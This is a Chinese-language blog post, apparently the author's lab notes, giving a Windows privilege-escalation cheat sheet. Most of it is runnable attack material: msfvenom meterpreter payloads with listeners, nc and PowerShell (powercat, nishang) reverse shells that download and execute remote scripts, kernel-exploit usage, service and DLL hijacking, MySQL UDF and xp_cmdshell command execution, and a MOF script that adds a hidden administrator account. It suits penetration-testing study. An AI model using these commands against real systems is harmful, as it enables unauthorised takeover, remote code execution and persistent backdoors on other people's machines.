windows提权

提权常用查询命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
systeminfo | findstr OS #获取系统版本信息
systeminfo&&wmic product get name,version&&wmic nic where PhysicalAdapter=True get MACAddress,Name&&wmic NICCONFIG WHERE IPEnabled=true GET IPAddress #检测系统软件包
hostname #获取主机名称
whoami /all #获取当前用户的详细信息
whoami /priv #显示当前用户的安全特权
net start #查看服务
quser/query user #获取在线用户
netstat -ano | findstr 3389 #获取rdp连接来源IP
dir c:\programdata\ #分析安装杀软
wmic qfe get Caption,Description,HotFixID,InstalledOn #列出已安装的补丁
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber #获取远程端口

tasklist /svc | find "TermService" #获取服务pid
netstat -ano |find "pid" #获取远程端口

windows 提权辅助脚本

检测系统补丁脚本 https://github.com/SecWiki/windows-kernel-exploits/tree/master/win-exp-suggester

检测可利用补丁exp https://www.adminxe.com/win-exp/#

查看补丁 https://github.com/chroblert/WindowsVulnScan

windows 内核提权exp https://github.com/SecWiki/windows-kernel-exploits

在线提权利用查询 https://lolbas-project.github.io/

提权辅助网页 http://hacking8.com/

查询补丁

hacking8在线查询补丁

wesng 查询补丁

https://github.com/bitsadmin/wesng

1
2
3
python wes.py --update-wes #更新
pip3 install chardet #下载包
python wes.py c:\sys.txt #检测补丁

WindowsVulnScan 查询补丁

https://github.com/chroblert/WindowsVulnScan

查询可写目录或文件

在确定可以执行cmd命令时,有些服务器会对目录进行权限设置,导致iis_user用户组没有权限对常见的 目录进行写入和读取,这时可以用扫描可写目录脚本对目录进行遍历扫描,得到可写目录 上传或下载 提 权exp 或替换文件 进行利用。

当cmd.exe不可用,选择有权限的目录上传cmd

image-20250914184842034

image-20250914184852597

image-20250914184909227

lcx端口转发

1
lcx.exe -listen|tran|slave <option>

listen

1
2
lcx.exe -listen 9999 3389
//在本地 9999 端口监听,把收到的数据转发到本地的 3389 端口(远程桌面)。

tran

1
2
lcx.exe -tran 4444 192.168.1.100 3389
//本地 4444 端口的数据转发到目标主机 192.168.1.100:3389

slave

1
2
lcx.exe -slave 攻击机IP 9999 127.0.0.1 3389
//受控机主动连接攻击机的 9999 端口,并把本地 127.0.0.1:3389(RDP)转发过去。

image-20250925193546547

服务端执行 lcx.exe -slave 192.168.0.146 2333 127.0.0.1 3389

客户端执行lcx -listen 51 2333

系统内核溢出漏洞提权

CVE-2016-3225(MS16-075)提权

影响版本

https://docs.microsoft.com/zh-cn/security-updates/securitybulletins/2016/ms16-075

利用文件

https://github.com/itm4n/PrintSpoofer

下载文件

https://github.com/uknowsec/JuicyPotato 上传到webshell的可执行目录

1
/c c:\windows\debug\WIA\PrintSpoofer64.exe -i -c whoami

CVE-2014-4113 (MS14-058)提权

Microsoft Windows下的 win32k.sys是Windows子系统的内核部分,是一个内核模式设备驱动程序,它 包含有窗口管理器、后者控制窗口显示和管理屏幕输出等。如果Windows内核模式驱动程序不正确地处 理内存中的对象,则存在一个特权提升漏洞。成功利用此漏洞的攻击者可以运行内核模式中的任意代 码。攻击者随后可安装程序;查看、更改或删除数据;或者创建拥有完全管理权限的新帐户。

影响版本

该漏洞影响所有Windows x64,包括Windows 7 和 Windows Server 2008 R2 及以下版本。

1
2
3
/c C:\Windows\debug\WIA\win64.exe whoami
/c C:\Windows\debug\WIA\win64.exe "net user xiaowu 123456/add"
/c C:\Windows\debug\WIA\win64.exe "net localgroup administrators xiaowu /add"

CVE-2020-0787 提权

当Windows Background Intelligent Transfer Service (BITS)未能正确地处理符号链接时,存在权限提 升漏洞。成功利用此漏洞的攻击者可以覆盖导致提升状态的目标文件。要利用此漏洞,攻击者首先必须 登录到系统。然后,攻击者可以运行巧尽心思构建的应用程序,利用此漏洞并控制受影响的系统。

影响版本

https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2020-0787

下载地址

https://github.com/cbwang505/CVE-2020-0787-EXP-ALL-WINDOWS-VERSION/releases

漏洞复现

image-20250915160647906

metasploit提权

反弹shell

进入msf

1
msfconsole

生成payload

1
2
3
msfvenom  -p windows/meterpreter/reverse_tcp lhost=192.168.44.133 lport=12345 -f exe >/var/www/html/s.exe
# lhost 是kali的ip
# lport 是kali监听端口

将生成的payload上传至服务器

image-20250915211800324

kali打开监听

1
2
3
4
5
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.44.133
set lport 12345
exploit

运行exe文件

image-20250915212129235

拿到shell

image-20250915212220862

查看权限

image-20250915212258324

msf

Windows 提权 exp 存储文件夹路径

/usr/share/metasploit-framework# cd modules/exploits/windows/local/

常见的提权模块如下:

  1. ms14_058 内核模式驱动程序中的漏洞库能允许远程代码执行
  2. ms16_016 WebDAV 本地提权漏洞(CVE-2016-0051)
  3. ms16_032 MS16-032 Secondary Logon Handle 本地提权漏洞

常用提权命令

  1. sysinfo 查看系统命令
  2. migrate 注入进程
  3. getuid 获取当前用户
  4. getprivs 尽可能提升权限
  5. getsystem 通过各种攻击向量来提升系统用户权限

基础命令

ps 列出进程
sessions 查看会话
background 把session放置后台
sessions -i number # 与会话进行交互,number表示第n个session,使用session -i 连接到指定序号的meterpreter会话已继续利用
interact id #切换进一个信道
back 返回主界面
shell 得到终端
search搜索模块
show 列模块
info 查看模块信息

提权

**搜索模块 **

1
search ms14_058

查看模块信息

1
info exploit/windows/local/ms16_075_reflection_juicy

使用模块

1
2
3
4
use exploit/windows/local/ms16_075_reflection_juicy
show options //查看需要设置什么参数
set SESSION 1 //设置SESSION 为1
exploit //运行

成功提权

image-20250915213704012

维持权限

ps 列出进程号

image-20250915213741035

写入进程

1
migrate 3172

image-20250915213943968

反弹shell

1
2
3
kali:192.168.44.133
物理主机:192.168.1.2
靶机:192.168.44.138

nc反弹shell

kali监听

1
nc -lvnp 6666

上传nc 到服务器 在服务器上执行nc

1
/c C:\Windows\debug\WIA\nc.exe -e c:\windows\system32\cmd.exe 192.168.44.138 6666

powershell反弹shell

powercat是netcat的powershell版本

https://github.com/besimorhino/powercat

1
2
3
4
5
powershell IEX (New-Object
System.Net.Webclient).DownloadString('http://192.168.44.133/powercat.ps1');
powercat -c 192.168.44.133 -p 8888 -e cmd

//下载并执行

kali监听

1
nc -lvnp 8888

nishang反弹shell

Nishang(https://github.com/samratashok/nishang )是一个基于PowerShell的攻击框架,集合了一些 PowerShell攻击脚本和有效载荷,可反弹TCP/ UDP/ HTTP/HTTPS/ ICMP等类型shell

Reverse TCP shell

靶机执行

1
2
powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.2/Shells/Invoke-PowerShellTcp.ps1');
Invoke-PowerShellTcp -Reverse -IPAddress 192.168.44.133 -port 6666

物理机python开启服务

1
D:\xiaowusec\python3.10.8\python.exe  -m http.server 80

kali监听

1
nc -lvnp 6666

Reverse UDP shell

kali监听

1
nc -lvup 53

靶机控制端

1
2
powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.2/Shells/Invoke-PowerShellUdp.ps1');
Invoke-PowerShellUdp -Reverse -IPAddress 192.168.44.133 -port 53

python反弹shell

使用python编写反弹shell,如果目标支持python3可以脚本直接执行即可

目标上没有安装python 可以使用命令打包成exe在上传执行

1
pyinstaller -Fw pycat.py

kali监听

1
nc -lvp 6666

靶机执行

1
2
3
4
5
powershell -Command "Invoke-WebRequest -Uri 'http://192.168.1.2/pycat.exe' -OutFile 'C:\Windows\debug\WIA\pycat.exe'"
//下载exe文件到指定目录

/c C:\Windows\debug\WIA\pycat.exe --host 192.168.44.133 --port 6666
//执行exe文件

windows系统配置错误提权

系统服务权限配置错误

windows系统服务文件在操作系统启动时加载执行,并在后台调用可执行文件。如果一个低权限的用户 对此类系统服务调用的可执行文件拥有写权限,那么就可以替换该文件,并随着系统启动获得控制权限。

1
2
3
kali:192.168.44.133
靶机:192.168.44.136
物理机:192.168.1.2

问题服务扫描

https://github.com/itm4n/PrivescCheck.git

本机开启http服务

靶机cmd运行

1
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.2/PrivescCheck.ps1'); Invoke-PivescCheck
1
2
3
4
5
6
7
8
Name              : UsoSvc
ImagePath : C:\Windows\system32\svchost.exe -k netsvcs -p
User : LocalSystem
AccessRights : AllAccess
IdentityReference : NT AUTHORITY\SERVICE
Status : Running
UserCanStart : True
UserCanStop : True

NT AUTHORITY\Authenticated Users 普通用户也能设置文件

普通用户可以对usosvc服务进行设置 s.exe是msf的后门程序

kali

msf生成后门文件并监听

1
2
3
4
5
6
7
8
msfvenom  -p windows/meterpreter/reverse_tcp lhost=192.168.44.133 lport=12345 -f exe >/var/www/html/s.exe

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.44.133
set lport 12345
set AutoRunScript migrate -f //设置自动迁移进程
exploit

靶机cmd

关闭服务,绑定路径,重启服务

1
2
3
sc stop UsoSvc
sc config Usosvc binPath= "C:\s.exe" //此处有空格
sc start UsoSvc

成功拿到shell

image-20250917191154460

Metasploit中的攻击模块 exploit/windows/local/service_permissions

service_permissions模块会使用 两种方式获取system权限 如果以管理员权限运行 会尝试创建并运行一 个新的服务 如果当前权限不允许创建服务 会判断哪些服务的文件或文件夹的权限有问题 并对其进行劫 持 在劫持服务时会创建一个可执行程序 其文件名和安装路径都是随机的

1
2
3
use exploit/windows/local/service_permissions
set session 4
exploit

image-20250917191512160

不带引号的服务路径提权

当Windows服务运行时,会发生以下两种情况之一。如果给出了可执行文件,并且引用了完整路径,则 系统会按字面解释它并执行。但是,如果服务的二进制路径未包含在引号中,则操作系统将会执行找到 的空格分隔的服务路径的第一个实例。

也就是说,运行服务的路径如果没有引号,则会将第一个空格前的内容加上.exe并执行

利用要求

服务无双引号且路径可写

使用命令扫描

1
2
wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr
/i /v "C:Windows" |findstr/i /v """

msf生成后门改名并监听并监听

1
msfvenom  -p windows/meterpreter/reverse_tcp lhost=192.168.44.133 lport=12345 -f exe >/var/www/html/s.exe

image-20250918185252055

1
2
3
4
5
6
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.44.133
set lport 12345
set AutoRunScript migrate -f
exploit

上传文件,等待服务运行,或重启服务器

image-20250918190006680

注册表键AlwaysInstall提权

Windows 系统自带 Windows Installer(安装服务),它的核心程序是 msiexec.exe,主要负责安装、配置、修复和卸载 MSI 格式的软件包。一般情况下,普通用户安装软件时,需要管理员权限。

如果 启用 AlwaysInstall策略,那么即使是普通用户(权限不高),也可以让 msiexec.exe 以 NT AUTHORITY\SYSTEM 权限 来执行安装操作。

开启

运行”中输入gpedit.msc,打开组策略管理器

计算机配置–>管理模板–>Windows 组件–>Windows Installer

将”永远以高特权进行安装”编辑,选择开启

image-20250918190725064

同样在用户配置中也需要进行配置

image-20250918190906188

通过命令查询

1
2
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

拿到shell使用PowerUp检测注册表是否有设置 如果返回true证明可以利用

1
/c PowerShell -nop -exec bypass IEX(New-Object Net.WebClient).DownloadString('http://192.168.44.1/PowerUp.ps1'); GetRegAlwaysInstallElevated

上传脚本文件COMahawk64.exe,执行则可获得一个账户

image-20250918192806952

本地dll劫持提权

Windows程序启动的时候需要DLL。如果这些DLL 不存在,则可以通过在应用程序要查找的位置放置恶 意DLL来提权。通常,Windows应用程序有其预定义好的搜索DLL的路径,它会根据下面的顺序进行搜 索:

1
2
3
4
5
6
1、应用程序加载的目录
2C:\Windows\System32
3C:\Windows\System
4C:\Windows
5、当前工作目录Current Working DirectoryCWD
6、在PATH环境变量的目录(先系统后用户)

程序运行一般会加载系统dll或本身程序自带的dll,如果我们将程序执行时需要加载的dll文件替换成木马 程序,那么我们下次在启动程序时所加载的dll就是我们替换的那个木马程序了。

攻击过程:收集进程加载的dll-制作dll木马并上传-替换dll-启动应用后成功

使用火绒剑分析该进程执行时加载了哪些dll

image-20250919173416857

msf生成dll木马并上传

1
msfvenom  -p windows/meterpreter/reverse_tcp lhost=192.168.44.133 lport=12345 -f dll >libcurl_x86.dll

监听

1
2
3
4
5
6
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.44.133
set lport 12345
set AutoRunScript migrate -f
exploit

image-20250919174131462

自动安装配置文件提权

网络管理员在内网中给多台机器配置同一个环境的时候,一般会使用脚本进行批量部署,也就是会使用 安装配置文件,这些文件中包含所有的安装配置信息,其中还有一些包含着本地管理员账号和密码。

执行如下命令,搜索Unattend.xml文件

1
dir /b /s c:\Unattend.xml

同理再找找有没有sysprep.inf、sysprep.xml这种应答文件

kali上还有利用模块 post/windows/gather/enum_unattend

第三方提权

sql server 提权

sql server主要依赖于sql server自带的存储过程。目的:sqlserver权限 —> 系统权限

提权方法

要执行系统命令,首先需获取sqlserver数据库的权限(一般是sa),然后借助数据库自带的存储过程进行提权,由开始的sqlserver权限提升到执行操作系统命令的权限。

xp_cmdshell执行系统命令

1.判断是否为sa权限,返回1则是

1
select is_srvrolemember('sysadmin')

2. 判断 xp_cmdshell 是否存在,1就是存在,0就是不存在

1
select count(*) FROM master..sysobjects Where xtype = 'X' AND name = 'xp_cmdshell'  

当结果为0时,可以通过下列命令恢复

如果xp_cmdshell被删除,则可以通过下列命令重新加载。

1
dbcc addextendedproc("xp_cmdshell","xplog70.dll");

3. 开启 xp_cmdshell

1
2
3
EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE
--关闭xp_cmdshell
exec sp_configure 'show advanced options',1;RECONFIGURE;exec sp_configure 'xp_cmdshell',0;RECONFIGURE;

4. 执行系统命令

1
2
3
exec xp_cmdshell 'whoami';
--或
EXEC master..xp_cmdshell 'whoami'

mysql提权

udf提权

UDF(Userdefined function)可翻译为用户自定义函数,其为mysql的一个拓展接口,可以为mysql增添一些函数。

提权前提

  • 获取mysql控制权限:知道mysql用户名和密码,并且可以远程登录(即获取了mysql数据库的权限)
  • mysql具有写入文件的权限:mysql有写入文件的权限,即secure_file_priv的值为空

提权过程

  1. 查看mysql是否有写入文件的权限
1
show global variables like '%secure%';
  • 当secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
  • 当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
  • 当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制
  1. 上传UDF 的动态链接库文件
  • Mysql版本大于5.1,udf.dll文件必须放在MySQL安装目录的lib\plugin文件夹下。(plugin文件夹默认不存在,需要创建)。
  • Mysql版本小于5.1:
    如果是 win 2000 的服务器,我们则需要将 udf.dll 文件导到 C:\Winnt\udf.dll 下。
    如果是 win2003 服务器,我们则要将 udf.dll 文件导出在 C:\Windows\udf.dll 下。
  1. 查看插件的位置
1
show variables like 'plugin%';
  1. 上传dll

dll路径为\sqlmap\data\udf\mysql

通过py解码

1
python3 cloak.py -d -i lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_32.dll

写入

1
2
select hex(load_file('D:\\02-Hacking_Tools\\02-vuln-exploit\\sqlmap\\extra\\cloak\\lib_mysqludf_sys.dll')) into dumpfile 'E:\\phpStudy\\PHPTutorial\\MySQL\\lib\\plugin\\udf.dll';
#ps:这里windows下目录结构要进行转义双写
  1. 创建自定义函数
1
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';

查询

1
select * from mysql.func;

执行

1
select sys_eval('whoami')

mof提权

利用了C:\Windows\System32\wbem\MOF目录下的nullevt.mof文件

该文件每分钟会去执行一次的特性,向该文件中写入cmd命令,就会被执行

利用条件

  1. 只使用于windows系统,一般低版本系统才可以用,比如xpserver2003
  2. C:\Windows\System32\wbem\MOF目录有读写权限
  3. 可以找到一个可写目录,写入mof文件

提权过程

  1. 在可写目录中上传mof文件。

    把mof文件上传到C:/wmpub/nullevt.mof

  2. 把这个文件复制到C:/Windows/System32/wbem/MOF/nullevt.mof目录下

1
select load_file('C:/wmpub/nullevt.mof') into dumpfile 'C:/Windows/System32/wbem/MOF/nullevt.mof'
  1. 将下面这段代码复制到mof后缀的文件中
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user
moonteam$ xxx12456 /add && net localgroup administrators moonteam$ /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};

G6FTP提权

G6 FTP Server 新一代的 FTP 服务器端软件,支持 RFC-959 标准并增强其中的某些功能,上传和下载都 可以续传,实时查看运行状态,占用带宽,还有很多功能。

原理

G6FTP的默认端口为8021,只侦听在127.0.0.1的8021端口上,所以无法从外部直接访问,需要进行端 口转发(使用lcx 工具(lcx 具有三个功能:监听、转发、端口转向))。

复现

  1. 在webshell访问 配置文件 C:\Program Files (x86)\Gene6 FTP Server\RemoteAdmin\Remote.ini
  2. 将127.0.0.1的8021端口通过8427端口转发出去
1
lcx.exe -tran 2333 127.0.0.1 8021
  1. 转发成功后,通过g6ftp软件进行连接,以管理员用户登入
  2. 创建用户,赋予全部权限
  3. 创建批处理文件.bat(创建用户加入管理员组),并上传
  4. g6ftp创建批处理任务
  5. ftp登录,执行批处理任务
1
quote site adduser 
  1. 执行成功,成功创建administrator用户

UACbypass

UAC(UserAccount Control,用户账户控制)简言之就是在Vista及更高版本中通过弹框进一步让用户 确认是否授权当前可执行文件来达到阻止恶意程序的目的。

uac白名单

微软在用户账户控制中为一些系统程序设置了白名单机制,所有白名单中的程序将不再询问,以静默方式自动提升到管理员权限不弹出UAC框。

寻找白名单程序

在寻找白名单程序时,可以使用微软工具sigcheck和Strings。

白名单程序拥有一个共同的特性,就是Manifest数据中autoElevate属性的值为True。

Strings可以找出所有具有autoElevate属性的程序

https://learn.microsoft.com/en-us/sysinternals/downloads/strings

1
strings.exe /accepteula -s c:\windows\system32\*.exe | findstr /i "autoElevate"

模拟可信任目录

当启动的程序请求自动提升权限时,系统会先读取可执行文件中的Manitest信息,解析autoElevate属性字段的值。如果该字段存在并且值为True,就会认为这是一个可以自动提升权限的可执行文件。并且,系统会检查可执行文件的签名,这意味着无法通过构造autoElevate信息或冒充可执行文件名来实现自动权限提升。此外,系统会检查可执行文件是否位于系统可信任目录中,如c:\windows\system32目录。当这三个条件全部通过后,则允许程序自动提升权限,有任意一个条件不通过都会被系统拒绝。

即程序请求自动提升权限的条件:

  • 文件Manitest中autoElevate属性的值为True

  • 检查文件的签名

  • 文件是否位于系统可信任目录中

系统在检查可信任目录时,相关函数会自动去掉可执行文件路径中的空格。如果可执行文件位于“C:\windows \system32”目录(在windows后有一个空格,下文统称“模拟可信任目录”)中,系统在检查时会自动去除路径中的空格,这样就通过了最后一个条件的检查。

基于此原理,攻击者根据可信任目录来创建一个包含尾随空格的模拟可信任目录,将一个白名单程序复制到模拟可信任目录中,配合DLL劫持等技术即可成功绕过UAC。
msf bypassuac

1
2
3
4
search bypassuac
//模块
exploit/windows/local/bypassuac
exploit/windows/local/bypassuac_injection

bypass uac一般用在非administrator管理员用户下进行权限提升,方法主要是通过劫持uac白名单程序所加载的dll文件进行提权

参考文章

https://blog.csdn.net/qq_61553520/article/details/130970749

https://www.cnblogs.com/bonelee/p/16227518.html?utm_source=chatgpt.com

https://www.cnblogs.com/lcxblogs/p/14163338.html

https://blog.csdn.net/qq_44159028/article/details/130845430

https://blog.csdn.net/qq_44159028/article/details/121193134

https://www.freebuf.com/articles/web/264790.html

https://blog.csdn.net/bylfsj/article/details/102565893

https://blog.csdn.net/qq_44159028/article/details/128800727

https://www.cnblogs.com/-mo-/p/11537339.html


windows提权
http://xiaowu5.cn/2025/12/18/windows提权/
作者
5
发布于
2025年12月18日
许可协议
BY XIAOWU